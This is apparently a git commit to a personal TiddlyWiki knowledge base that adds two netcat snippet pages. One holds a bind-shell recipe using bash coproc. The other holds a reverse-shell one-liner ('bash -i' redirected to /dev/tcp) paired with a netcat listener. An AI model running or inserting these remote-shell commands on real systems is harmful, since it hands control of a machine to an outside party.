OcttKB Cross-Repo Sync (HTML to Raw)

This commit is contained in:
2023-07-11 11:28:00 +00:00
parent 6cb76e325b
commit 46c11002a1
748 changed files with 48 additions and 23 deletions

View File

@@ -0,0 +1,20 @@
created: 20221202224129631
modified: 20230206111552224
modifier: Octt
tags: Snippets $:/i18n:en
title: netcat/Normal Shell
From https://unix.stackexchange.com/a/345628:
Run on host to spawn a network-attached shell (requires bash due to coproc):
```bash
coproc netcat -l -p $PORT
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1
```
Run on client to connect to host:
```sh
nc $ADDRESS $PORT
```

View File

@@ -0,0 +1,17 @@
created: 20220926095309988
modified: 20230206111552227
modifier: Octt
tags: Snippets $:/i18n:en
title: netcat/Reverse Shell
0. Run on master (requires netcat):
```sh
nc -l -vv -p $PORT
```
1. Run on slave:
```sh
bash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1
```